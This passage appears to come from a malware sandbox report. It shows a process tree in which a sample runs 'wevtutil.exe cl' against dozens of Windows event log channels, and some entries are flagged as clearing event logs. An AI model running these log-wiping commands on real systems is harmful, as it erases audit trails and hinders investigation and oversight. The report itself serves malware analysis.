                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-SetupCl/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1152
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-SetupQueue/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:540
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-SetupUGC/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2544
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-ShareMedia-ControlPanel/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2392
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-BootAnim/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2384
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Common/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:980
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-CredUI/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2892
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Logon/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1812
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-PasswordProvider/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Shutdown/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2696
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Shell-Core/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Shell-DefaultPrograms/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Shell-Shwebsvc"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Shell-ZipFolder/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1564
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Shsvcs/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Sidebar/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2836
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Speech-UserExperience/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2856
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Spell-Checking/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-SpellChecker/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-StickyNotes/Admin"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:708
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-StickyNotes/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-StickyNotes/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1972
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-StorDiag/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2712
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-StorPort/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:924
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Subsys-Csr/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1876
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Subsys-SMSS/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Superfetch/Main"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Superfetch/StoreLog"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1576
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Sysprep/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2944
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-SystemHealthAgent/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3056
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-TCPIP/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1320
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-TSF-msctf/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1748
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-TSF-msctf/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2840
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-TSF-msutb/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1712
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-TSF-msutb/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2576
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-TZUtil/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1676
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2960
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-TaskbarCPL/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Admin"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1656
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1596
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1708
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1136
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Admin"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1248
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2596
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2788
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1864
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-TerminalServices-MediaRedirection/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2992
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Admin"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:864
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2268
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2896
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1144
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RdpSoundDriver/Capture"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2496
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-TerminalServices-RdpSoundDriver/Playback"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2792
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2728
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Admin"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1696
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2520
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2528
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1940
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-ThemeCPL/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1740
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-ThemeUI/Diagnostic"
